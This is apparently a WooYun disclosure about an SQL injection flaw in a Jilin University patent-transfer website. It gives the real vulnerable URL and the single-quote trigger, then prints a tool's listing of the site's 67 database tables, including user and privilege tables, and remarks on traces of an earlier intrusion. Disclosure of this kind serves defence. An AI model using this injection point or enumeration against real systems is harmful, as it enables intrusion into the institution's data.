WooYun.org

吉林大学专利与成果转化网 http://kjcg.jlu.edu.cn/
http://kjcg.jlu.edu.cn/pages/kjcgdt/read.aspx?id=7' 单引号直接报错

工具跑：

current database: 'projectex'

Database: projectex
[67 tables]
+----------------------------+
| dbo.Table1$ |
| dbo.[projectex.D99_CMD] |
| dbo.[projectex.D99_REG] |
| dbo.[projectex.D99_Tmp] |
| dbo.[projectex.dan_gege2] |
| dbo.[projectex.dan_gege] |
| dbo.[projectex.jiaozhu] |
| dbo.[projectex.kill_kk] |
| dbo.[projectex.t] |
| dbo.[projectex.t_jiaozhu] |
| dbo.[projectex.t_tian6] |
| dbo.[projectex.t_tian6_1] |
| dbo.[projectex.temp_tian6] |
| dbo.abilitytype |
| dbo.alliance |
| dbo.city |
| dbo.city1 |
| dbo.clzh |
| dbo.college |
| dbo.college_old |
| dbo.contract |
| dbo.contractstate |
| dbo.cooperation |
| dbo.corporation |
| dbo.division |
| dbo.domain |
| dbo.dqzc |
| dbo.dtproperties |
| dbo.e20090107 |
| dbo.exhibition |
| dbo.industry |
| dbo.inventor |
| dbo.inventorDeleted |
| dbo.kjcg |
| dbo.kjcgdt |
| dbo.kjdjxx |
| dbo.kjnl |
| dbo.links |
| dbo.member |
| dbo.notice |
| dbo.oaservice |
| dbo.oaservicetype |
| dbo.paper |
| dbo.patent |
| dbo.patent1 |
| dbo.patentDeleted |
| dbo.patentstate |
| dbo.position |
| dbo.priority |
| dbo.privilege |
| dbo.province |
| dbo.ptjs |
| dbo.qyxq |
| dbo.qyxqxx |
| dbo.rating |
| dbo.state |
| dbo.statistic |
| dbo.subject_code |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.systemconfig |
| dbo.title |
| dbo.transformtype |
| dbo.users |
| dbo.users_old |
| dbo.xzhxw |
| dbo.xzhxx |
+----------------------------+
显然有入侵的痕迹... dbo.[projectex.D99_CMD] |
不深入、